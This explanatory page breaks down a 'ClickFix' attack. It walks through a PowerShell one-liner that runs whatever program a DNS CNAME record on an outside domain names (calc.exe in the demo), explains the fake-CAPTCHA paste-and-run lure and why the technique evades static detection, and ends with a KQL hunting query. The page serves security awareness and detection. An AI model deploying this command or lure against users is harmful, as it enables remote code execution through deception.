Clickfix DNS
Execute commands via DNS CNAME records. The payload is fetched at runtime; no hardcoded commands in the script.
Runs PowerShell and passes the following string as a single command to execute.
powershell -c The & (call) operator executes whatever the expression in parentheses returns. The opening quote starts the command string.
"& Resolves the CNAME record for the domain. The record points to the payload (e.g. calc.exe).
(Resolve-DnsName clickfix-dns.intel.cx -Type CNAME)Gets the CNAME target from the DNS result: the hostname the record points to (e.g. calc.exe.).
.NameHostRemoves the trailing dot from the DNS response (FQDN format) to get a valid executable name, then closes the command string.
.TrimEnd('.')"- 1
Victim runs the command
The
powershell -cone-liner is presented on a fake “support” or “fix” page, The page usually copies the command to the clipboard in the background, then prompts the victim to press Win+R (opens the Run dialog), Ctrl+V (pastes), and Enter (executes the command). - 2
DNS CNAME lookup
Resolve-DnsName clickfix-dns.intel.cx -Type CNAMEperforms a DNS lookup. The CNAME record in this example points tocalc.exe. - 3
Extract and execute
.NameHostand.TrimEnd('.')extractcalc.exe. The&call operator executes it, launching Calculator.
- •One-liner. A single command is easy to paste and run. Low friction for the victim.
- •Seems legitimate. Victims are used to captchas and security checks online. A fake reCAPTCHA-style prompt feels familiar and trustworthy, lowering suspicion.
- •No hardcoded payload. The command contains no executable, script, or URL, only a domain name. Static analysis and signatures miss it.
- •Flexible execution. The DNS record can point to anything on the victim's machine (e.g. calc.exe, PowerShell, a script path) or to another host. The attacker decides at DNS level.
- •Attacker-controlled at any time. Change the CNAME record and the same command now delivers a different payload. No need to redistribute links or documents.
DeviceProcessEvents | where Timestamp > ago(7d) | where ProcessCommandLine contains "Resolve-DnsName" and ProcessCommandLine contains "-Type" and ProcessCommandLine contains "CNAME" and ProcessCommandLine contains "NameHost" | project Timestamp, DeviceName, AccountName, ProcessCommandLine